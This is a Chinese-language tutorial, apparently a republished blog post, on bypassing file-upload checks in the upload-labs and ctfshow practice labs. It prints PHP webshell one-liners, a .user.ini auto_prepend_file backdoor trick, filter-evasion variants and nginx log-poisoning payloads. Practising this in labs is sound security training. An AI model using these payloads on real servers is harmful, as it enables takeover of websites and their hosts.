目錄
1.JS驗證
2.JS驗證+MIME?
3.JS驗證+.user.ini?
4.JS驗證+.user.ini+短標(biāo)簽 (ctfshow154,155關(guān))
5.JS驗證+.user.ini+短標(biāo)簽+過濾 [ ]
6.JS驗證+.user.ini+短標(biāo)簽+加過濾+文件頭
有關(guān)文件上傳的知識
1.為什么文件上傳存在漏洞
? ? ? ?上傳文件時,如果服務(wù)瑞代碼未對客戶端上傳的文件進(jìn)行嚴(yán)格的驗證和過濾,就容易造成可以上傳任意文件的情況,包括上傳腳本文件(asp、 aspx、php、 jsp等格式的文件)。
2.危害
? ? ? ?非法用戶可以利用上傳的惡意腳本文件控制整個網(wǎng)站,甚至控制服務(wù)器。這個惡意的腳本文件,又被稱為WebShell,也可將WebShell腳本稱為一種網(wǎng)頁后門,WebShell腳本具有非常強大的功能,比如查看服務(wù)器目錄、服務(wù)器中的文件,執(zhí)行系統(tǒng)命令等。
本文知識點:
1、文件上傳-前端驗證
2、文件上傳-黑白名單
3、文件上傳-user.in妙用
4、文件上傳-PHP語言特性
后門代碼需要特定后綴格式解析,不能以圖片后綴解析腳本后門代碼(解析漏洞除外),如:jpg圖片里面有php后門代碼,不能被觸發(fā),所以連接不上后門
本文將通過upload-labs靶場進(jìn)行演示說明,關(guān)于upload-labs靶場的搭建請參考這篇文章:https://blog.csdn.net/m0_69583059/article/details/135767303?spm=1001.2014.3001.5501
1.JS驗證
upload-labs靶場第一關(guān)
用哥斯拉生成一個php后門文件,打開哥斯拉點擊管理->生成,將生成的后門文件重命名為hm.php(方便演示)
關(guān)于哥斯拉的使用和安裝請參考這篇文章:哥斯拉安裝和使用
上傳png文件成功,上傳hm.php文件失敗
F12修改前端代碼
復(fù)制php文件路徑(http://localhost/upload-labs/upload/hm.php?),用哥斯拉嘗試連接
?
2.JS驗證+MIME?
upload-labs靶場第二關(guān)
這里直接F12修改后是沒有用的
通過抓包發(fā)現(xiàn)上傳png文件時和上傳php文件時,Content-Type的值不一樣
?
現(xiàn)在我們將上傳php文件時的Content-Type值修改為image/png,我們發(fā)現(xiàn)上傳成功
?
3.JS驗證+.user.ini?
user.ini:auto_prepend_file=hm.png
hm.png:<?php eval($_POST[x]);?>
后臺對文件后綴進(jìn)行限制,攔截php等相關(guān)后綴,導(dǎo)致后門代碼無法上傳,這里我們要用到.user.ini注意.user.ini的使用是有條件的,只適用于php,別的語言可能不支持,這里主要講解思路,語言不一樣,但思路都差不多,可以自己去了解一下,別的語言有沒有類似與.uer.ini文件這樣的功能。
.user.ini 文件是PHP的配置文件,用于自定義PHP的配置選項。該文件通常位于PHP安裝目錄的根目錄下,或者在特定的網(wǎng)站目錄下。.user.ini 文件是一個文本文件,可以使用任何文本編輯器進(jìn)行編輯。它包含了PHP的配置選項和值,每個選項和值都以等號(=)分隔。當(dāng)php再進(jìn)行掃描的時候會讀取到web目錄下的ini文件,從而進(jìn)行觸發(fā)。
在這個配置中存在兩個配置項:auto_append_file和auto_prepend_file
1.auto_prepend_file
auto_prepend_file表示在每個PHP腳本之前自動加載指定的文件。該文件的內(nèi)容將被插入到原始腳本的頂部。
2.auto_append_file
和auto_prepend_file類似,這個是指內(nèi)容添加到文末,如果有exit會無法調(diào)用到
upload-labs靶場第五關(guān)
源碼里把所有可以解析的后綴名都給寫死了,包括大小寫,轉(zhuǎn)換,空格,還有點號,正常的php類文件上傳不了了,并且拒絕上傳 .htaccess 文件。反復(fù)觀察發(fā)現(xiàn)沒有被限制的后綴名有 .php7 以及 .ini。現(xiàn)在我們該怎么辦呢,php文件不能上傳,那么我們能不能把后門代碼寫在png文件里面呢,這樣顯然是不行的,這樣會導(dǎo)致格式錯誤,這里我們就要用到php特有的.user.ini文件,上面已經(jīng)介紹過了,.user.ini的配置項auto_prepend_file表示在每個PHP腳本之前自動加載指定的文件,該文件的內(nèi)容將被插入到原始腳。這是什么意識呢,這里我解釋一下,也就是說我們?nèi)绻苯訉⒑箝T代碼寫在png文件下是不能上傳的,因為php文件被攔截了,所以這里我們要借auto_prepend_file,將png文件設(shè)定為指定文件,這樣png文件里面的后門代碼就會插入到原腳本(也就是和傳入文件同目錄的php文件,這里是readme.php), 這樣我們就成功將后門代碼植入到了php文件中,而index.php文件本來就是項目文件,這樣就可以通過index.php連接哥斯拉了。
現(xiàn)在我們創(chuàng)建一個.user.ini文件,在文件里寫入auto_prepend_file=hm.png。然后將我們生成的木馬文件hm.php改為hm.png,然后將這兩個文件上傳
現(xiàn)在我們嘗試一下用readme.php連接哥斯拉
測試連接成功?
4.JS驗證+.user.ini+短標(biāo)簽 (ctfshow154,155關(guān))
user.ini:auto_prepend_file=text.png
text.png:<?=eval($_POST[pass]);?>
后臺對文件后綴以及短標(biāo)簽<?php進(jìn)行限制,這個時候不但要考慮php后綴文件不能上傳,還要考慮后門代碼不能出現(xiàn)<?php
這里有幾種替換短標(biāo)簽<?php的方法,效果是一樣的,一般用第二種和第四種,因為不需要前提條件
1.<?echo '123';?>? //前提是開啟配置參數(shù)short_open_tags=on
2.<?=(表達(dá)式)?>? ? //不需要開啟參數(shù)設(shè)置
將<?php eval($_POST[pass]);?>替換成<?=eval($_POST[pass]);?>
3.<% echo '123';%>? //前提是開啟了配置參數(shù)asp_tags=on
4.<script language="php">echo '1'</script> //不用修改參數(shù)開關(guān)
5.JS驗證+.user.ini+短標(biāo)簽+過濾 [ ]
過濾[],用{}替代(ctfshow156關(guān))
user.ini:auto_prepend_file=hm.png
hm.png:<?=eval($_POST{pass});?>
過濾了后門語句的分號;和php(ctfshow157關(guān))
zm.png:<?=system('tac ../fl*')?>? ??
過濾了;,php,() (ctfshow158,159關(guān))
zm.png:<?echo'tac /var/www/html/f*'?>
基本都過濾了(ctfshow160關(guān))
包含默認(rèn)日志,日志記錄UA頭,UA頭寫后門代碼文章來源:http://www.zghlxwxcb.cn/news/detail-823783.html
user.ini:auto_prepend_file=zm.png
zm.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>
6.JS驗證+.user.ini+短標(biāo)簽+加過濾+文件頭
文件頭部檢測是否為圖片格式文件(ctfshow161關(guān))文章來源地址http://www.zghlxwxcb.cn/news/detail-823783.html
user.ini:GIF89A?auto_prepend_file=zm.png
zm.png:GIF89A?<?=include"/var/lo"."g/nginx/access.lo"."g"?>
到了這里,關(guān)于day31WEB攻防-通用漏洞&文件上傳&js驗證&mime&user.ini&語言特性的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!